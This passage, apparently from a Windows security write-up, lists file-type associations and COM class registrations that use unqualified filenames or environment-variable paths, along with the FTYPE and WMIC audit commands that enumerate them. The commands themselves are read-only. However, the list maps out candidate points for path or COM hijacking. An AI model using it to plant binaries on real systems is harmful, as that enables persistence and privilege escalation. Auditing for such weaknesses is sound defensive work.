    Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
    Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
    msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    piffile="%1" %*
    prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    Windows.XamlDocument="C:\Windows\System32\PresentationHost.exe" "%1" %*
    Windows.Xbap="C:\Windows\System32\PresentationHost.exe" "%1" %*
    WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
    WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  9. Command lines containing an environment variable:

    SET SLOPPY=APPDATA CommonProgramFiles CommonProgramFiles(x86) CommonProgramW6432 ComSpec LOCALAPPDATA LOGONSERVER ProgramData ProgramFiles ProgramFiles(x86) ProgramW6432 PUBLIC SystemDrive SystemRoot TEMP TMP USERPROFILE WINDIR
    FTYPE | FINDSTR.EXE /I "%!SLOPPY: =% %!%"
    CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    certificate_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    chm.file="%SystemRoot%\hh.exe" %1
    CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    contact_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
    Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
    Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
    Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
    dlna-playsingle="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    docxfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    emffile="%systemroot%\system32\mspaint.exe" "%1"
    evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
    Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    Folder=%SystemRoot%\Explorer.exe
    group_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    hlpfile=%SystemRoot%\winhlp32.exe %1
    IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
    imesxfile="%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    MacromediaFlashPaper.MacromediaFlashPaper="%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"
    Microsoft.ProvTool.Provisioning.1="%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
    Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
    MMS="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    ms-availablenetworks="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msdt="%SystemRoot%\system32\msdt.exe" %1
    ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    ms-settings-connectabledevices="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    ms-settings-displays-topology="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    ms-virtualtouchpad="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
    MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
    Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
    MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
    msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    odtfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    opensearchdescription=%SystemRoot%\explorer.exe
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
    PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    RDP.File="%systemroot%\system32\mstsc.exe" "%1"
    RemoteAssistance.1="%systemRoot%\system32\msra.exe" -openfile "%1"
    rlefile="%systemroot%\system32\mspaint.exe" "%1"
    rtffile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    SHCmdFile=%SystemRoot%\explorer.exe
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    textfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
    Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
    VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    vcard_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    WAB.AssocProtocol.LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"
    wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    Windows.CompositeFont="%SystemRoot%\System32\notepad.exe" "%1"
    WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
    wmffile="%systemroot%\system32\mspaint.exe" "%1"
    WMP.DVR-MSFile="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP.WTVFile="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.3G2="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.3GP="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.ADTS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.AIFF="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.ASF="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
    WMP11.AssocFile.ASX="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.AU="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.AVI="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:8 /Open "%L"
    WMP11.AssocFile.CDA="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.FLAC="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.M2TS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
    WMP11.AssocFile.m3u="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.M4A="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MIDI="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.MK3D="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MKA="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MKV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MOV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MP3="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MP4="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    WMP11.AssocFile.MPEG="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:9 /Open "%L"
    WMP11.AssocFile.TTS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"
    WMP11.AssocFile.WAV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.WAX="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.wma="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:5 /Open "%L"
    WMP11.AssocFile.WMD="%ProgramFiles%\Windows Media Player\wmplayer.exe" /WMPackage:"%L"
    WMP11.AssocFile.WMS="%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"
    WMP11.AssocFile.WMV="%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"
    WMP11.AssocFile.WMZ="%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"
    WMP11.AssocFile.WPL="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocFile.WVX="%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"
    WMP11.AssocProtocol.DLNA-PLAYSINGLE="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    WMP11.AssocProtocol.MMS="%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"
    Wordpad.Document.1="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
    WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  10. COM classes registered with an unqualified filename or a pathname containing an environment variable:

    FOR %? IN (InProcHandler InProcHandler32 InProcServer InProcServer32 LocalServer LocalServer32 DefaultIcon ToolBoxBitmap32) DO @WMIC.EXE /APPEND:"%USERPROFILE%\Desktop\Sloppy.log" PATH Win32_ClassicCOMClassSetting WHERE "NOT %? LIKE '%.%' OR NOT %? LIKE '%\\%' OR %? LIKE '%[%]APPDATA[%]%' OR %? LIKE '%[%]CommonProgramFiles[%]%' OR %? LIKE '%[%]CommonProgramFiles(x86)[%]%' OR %? LIKE '%[%]LOCALAPPDATA[%]%' OR %? LIKE '%[%]LOGONSERVER[%]%' OR %? LIKE '%[%]ProgramData[%]%' OR %? LIKE '%[%]ProgramFiles[%]%' OR %? LIKE '%[%]ProgramFiles(x86)[%]%' OR %? LIKE '%[%]PUBLIC[%]%' OR %? LIKE '%[%]SystemDrive[%]%' OR %? LIKE '%[%]SystemRoot[%]%' OR %? LIKE '%[%]TEMP[%]%' OR %? LIKE '%[%]TMP[%]%' OR %? LIKE '%[%]USERPROFILE[%]%' OR %? LIKE '%[%]WINDIR[%]%'" GET ComponentId, ProgId, %?
    No Instance(s) Available.
    
    ComponentId                             InprocHandler32                             ProgId
    {0e119e63-267a-4030-8c80-5b1972e0a456}  %SystemRoot%\system32\shcore.dll
    {1535D95C-2365-447D-9800-B75501A19C0C}  %SystemRoot%\system32\ShareHost.dll
    {195C8ACD-5F96-4C67-BBCF-B0CD7073500C}  %SystemRoot%\system32\ShareHost.dll
    {1cc78354-9ded-4c1b-bd81-c67b0289a4e5}  %SystemRoot%\system32\windows.storage.dll
    {214DFBF5-5983-4B54-996D-B7FC67E0A1FD}  %SystemRoot%\system32\Windows.Storage.dll
    {251b1498-5cba-4bee-8242-2f57773151aa}  %SystemRoot%\system32\Windows.Storage.dll
    {320690f4-8d7b-4f55-a98d-89ebb01fa776}  %SystemRoot%\system32\Windows.Storage.dll
    {36BAA497-8C84-4700-96A1-88E1876EC5B9}  %SystemRoot%\system32\ShareHost.dll
    {3c5edebe-16c6-4ee4-906b-436aa1f6ef9e}  %SystemRoot%\system32\twinapi.appcore.dll
    {4333fd20-ca5f-4095-a535-edb00455ce66}  %SystemRoot%\system32\shcore.dll
    {4347F4C2-6A7D-40DF-9A4F-C185317AF183}  %SystemRoot%\system32\ShareHost.dll
    {594103b8-e428-4461-b8d7-dd0ae12d31d9}  %SystemRoot%\system32\Windows.Storage.dll
    {70BF9CA8-182C-4BE8-8BE8-1A9217A5D1B5}  %SystemRoot%\system32\Windows.Storage.dll
    {73FDDC80-AEA9-101A-98A7-00AA00374959}  ole32.dll                                   WordPad.Document.1
    {7513af53-9c75-4ad4-b47e-8d855099e023}  %SystemRoot%\system32\shcore.dll
    {788B686B-EA20-41CD-A018-1BFD506194B2}  %SystemRoot%\system32\ShareHost.dll
    {7bce3cfb-954c-438f-974c-73a8e0593f1a}  %SystemRoot%\system32\shcore.dll
    {7e57f418-1f71-4411-9e09-45884f4f4714}  %SystemRoot%\system32\shcore.dll
    {8FF007D1-C3E3-44D5-86AF-2ECB5F663D7C}  %SystemRoot%\system32\Windows.Storage.dll
    {a5183349-82de-4bfc-9c13-7d9dc578729c}  %SystemRoot%\system32\Windows.Storage.dll
    {B243A9FD-C57A-4D3E-A7CF-21CAED64CB5A}  %systemroot%\system32\CoreUIComponents.dll
    {be88f957-42cc-4da7-92cf-9bc35c5d5ee2}  %SystemRoot%\system32\Windows.Storage.dll
    {ccc63ae1-56a5-4f9c-abe8-e55674f0c0a6}  %SystemRoot%\system32\Windows.Storage.dll
    {CF0E916A-DA25-49CA-A264-1D41C009EED0}  %SystemRoot%\system32\ShareHost.dll
    {D3E34B21-9D75-101A-8C3D-00AA001A1652}  ole32.dll                                   Paint.Picture
    {da158800-7434-4410-a0cd-e497c3b4a9da}  %SystemRoot%\system32\Windows.Storage.dll
    {da620430-5f6c-447d-8091-c5757e275b37}  %SystemRoot%\system32\shcore.dll
    {f1f72421-6433-4de9-982d-c8dc12cb569c}  %SystemRoot%\system32\shcore.dll
    {fd8d7f86-2f0c-43bb-b225-97ac3c04567b}  %SystemRoot%\system32\shcore.dll
    
    ComponentId                             InprocServer  ProgId
    {00020000-0000-0000-C000-000000000046}  avifile.dll
    {00020001-0000-0000-C000-000000000046}  avifile.dll
    {0002000D-0000-0000-C000-000000000046}  avifile.dll
    {0002000F-0000-0000-C000-000000000046}  avifile.dll
    
    ERROR:
    Description = Exception occured.
    
    ComponentId                             LocalServer32                                                                                                                                      ProgId
    {0002DF01-0000-0000-C000-000000000046}  "%ProgramFiles%\Internet Explorer\iexplore.exe"                                                                                                    InternetExplorer.Application.1
    {0002DF02-0000-0000-C000-000000000046}  %SystemRoot%\system32\browser_broker.exe                                                                                                           BrowserBroker.BrowserBroker.1
    {00f2b433-44e4-4d88-b2b0-2698a0a91dba}  "%SystemRoot%\System32\rundll32.exe" "%ProgramFiles%\Windows Photo Viewer\PhotoAcq.dll",AutoplayComServerW {00f2b433-44e4-4d88-b2b0-2698a0a91dba}  Microsoft.PhotoAcqHWEventHandler.1
    {0289a7c5-91bf-4547-81ae-fec91a89dec5}  %systemroot%\system32\WinrsHost.exe
    {031EE060-67BC-460d-8847-E4A7C5E45A27}  "%ProgramFiles%\Windows Media Player\wmprph.exe"
    {03837511-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProviderCollection.1
    {03837513-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProvider.1
    {0383751C-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSession.1
    {03837521-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSet.1
    {03837525-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSetCollection.1
    {03837526-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSet.1
    {03837527-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSetCollection.1
    {03837528-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSession.1
    {03837529-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSessionCollection.1
    {03837530-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSessionCollection.1
    {03837531-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSet.1
    {03837532-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSetCollection.1
    {03837538-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSession.1
    {03837539-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSessionCollection.1
    {03837546-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSet.1
    {03837547-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSetCollection.1
    {046AEAD9-5A27-4D3C-8A67-F82552E0A91B}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {046AEAD9-5A27-4D3C-8A67-F82552E0A91B}
    {047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe
    {054AAE20-4BEA-4347-8A35-64A533254A9D}  "%CommonProgramFiles%\microsoft shared\ink\TabTip.exe"
    {0823B6F8-F499-4d5e-B885-EA9CB4F43B24}  %SystemRoot%\winsxs\x86_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.18362.411_none_03353754a072182b\TiWorker.exe
    {08FC06E4-C6B5-40BE-97B0-B80F943C615B}  %SystemRoot%\System32\ProximityUxHost.exe
    {115e13cf-cfe8-4821-b0da-e06aa4d51426}  %SystemRoot%\system32\RdpSaProxy.exe
    {1202DB60-1DAC-42C5-AED5-1ABDD432248E}  %SystemRoot%\System32\mobsync.exe
    {152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC}  "%SystemRoot%\System32\RmtTpmVscMgrSvr.exe"
    {16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A}  "%SystemRoot%\System32\TpmVscMgrSvr.exe"
    {19833350-BF9B-42A1-BDF0-BD1FCBE1FD31}  "%SystemRoot%\System32\ImmersiveTpmVscMgrSvr.exe"
    {19C65143-6230-42FA-A58E-7D9FA9BE2EB5}  %SystemRoot%\system32\wkspbroker.exe                                                                                                               WorkspaceBroker.WorkspaceBroker.1
    {1A1F4206-0688-4E7F-BE03-D82EC69DF9A5}  %SystemRoot%\System32\mobsync.exe
    {1C749B87-568C-4865-8E73-6413F8372CE6}  "%systemroot%\system32\lpksetup.exe"
    {1F87137D-0E7C-44d5-8C73-4EFFB68962F2}  %systemroot%\system32\wbem\wmiprvse.exe -secured
    {24AC8F2B-4D4A-4C17-9607-6A4B14068F97}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97}
    {25B25D91-69A2-47fa-A375-FDC98189A06F}  %systemroot%\system32\SyncHost.exe
    {266C72E7-62E8-11D1-AD89-00C04FD8FDFF}  %SystemRoot%\system32\wbem\scrcons.exe
    {2744BC6A-4039-11E3-ABAD-8CFB6188709B}  %SystemRoot%\system32\SettingSyncHost.exe
    {2B32ECC3-C3BB-4701-82BB-EB7FE370D999}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2B32ECC3-C3BB-4701-82BB-EB7FE370D999}
    {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}
    {32BA16FD-77D9-4AFB-9C9F-703E92AD4BFF}  %SystemRoot%\System32\cttunesvr.exe                                                                                                                cttunesvr.CtTuner.1
    {3C296D07-90AE-4FAC-86F9-65EAA8B82D22}  %SystemRoot%\system32\SppExtComObj.exe
    {3eef301f-b596-4c0b-bd92-013beafce793}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793}
    {4545dea0-2dfc-4906-a728-6d986ba399a9}  %SystemRoot%\System32\ThumbnailExtractionHost.exe
    {45597c98-80f6-4549-84ff-752cf55e2d29}  "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Enqueue
    {494C063B-1024-4DD1-89D3-713784E82044}  %systemroot%\system32\spool\tools\PrintBrmEngine.exe
    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}  %SystemRoot%\system32\mmc.exe                                                                                                                      MMC20.Application.1
    {49BD2028-1523-11D1-AD79-00C04FD8FDFF}  %SystemRoot%\system32\wbem\unsecapp.exe
    {4AA0A5C4-1B9B-4F2E-99D7-99C6AEC83474}  %SystemRoot%\system32\SettingSyncHost.exe
    {4F1DFCA6-3AAD-48E1-8406-4BC21A501D7C}  %SystemRoot%\system32\wksprt.exe                                                                                                                   WorkspaceRuntime.Workspace.1
    {515980c3-57fe-4c1e-a561-730dd256ab98}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {515980c3-57fe-4c1e-a561-730dd256ab98}
    {549e57e9-b362-49d1-b679-b64d510efe4b}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {549e57e9-b362-49d1-b679-b64d510efe4b}
    {6295DF2D-35EE-11D1-8707-00C04FD93327}  %SystemRoot%\System32\mobsync.exe
    {62AD5CB4-F168-4B95-8AAE-6F47A75D5D30}  %SystemRoot%\system32\oobe\UserOOBEBroker.exe
    {682159d9-c321-47ca-b3f1-30e36b2ec8b9}  %SystemRoot%\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9}
    {69F9CB25-25E2-4BE1-AB8F-07AA7CB535E8}  %SystemRoot%\System32\mobsync.exe
    {6d8ff8e0-730d-11d4-bf42-00b0d0118b56}  %SystemRoot%\system32\upnpcont.exe
    {6d8ff8e8-730d-11d4-bf42-00b0d0118b56}  %SystemRoot%\system32\upnpcont.exe
    {722b3793-5367-4446-b6bb-db89b05c1f24}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {722b3793-5367-4446-b6bb-db89b05c1f24}
    {73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}  %systemroot%\system32\wbem\wmiprvse.exe
    {73FDDC80-AEA9-101A-98A7-00AA00374959}  "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"                                                                                                WordPad.Document.1
    {75dff2b7-6936-4c06-a8bb-676a7b00b24b}  %SystemRoot%\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}
    {8086ebd4-43e3-4b19-beb3-f0ea4ecf319c}  %SystemRoot%\System32\sdiagnhost.exe
    {884e2049-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentWebClassFactory.1
    {884e2050-217d-11da-b2a4-000e7bbb2b09}  %systemroot%\system32\CertEnrollCtrl.exe                                                                                                           X509Enrollment.CX509EnrollmentHelper.1
    {8b455e45-7cc8-4253-af5b-b2cd3313e9cc}  %SystemRoot%\system32\SettingSyncHost.exe
    {8D8B8E30-C451-421B-8553-D2976AFA648C}  %SystemRoot%\System32\mobsync.exe
    {94E03510-31B9-47a0-A44E-E932AC86BB17}  "%ProgramFiles%\Windows Media Player\wmlaunch.exe"                                                                                                 WMP.Device.1
    {9678f47f-2435-475c-b24a-4606f8161c16}  %systemroot%\system32\wsmprovhost.exe
    {98068995-54d2-4136-9bc9-6dbcb0a4683f}  %systemroot%\system32\WinrsHost.exe
    {98BB952B-B23E-4737-8ABD-B553E7484B38}  %SystemRoot%\system32\DeviceEnroller.exe
    {995C996E-D918-4a8c-A302-45719A6F4EA7}  %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,SHCreateLocalServerRunDll {995C996E-D918-4a8c-A302-45719A6F4EA7}
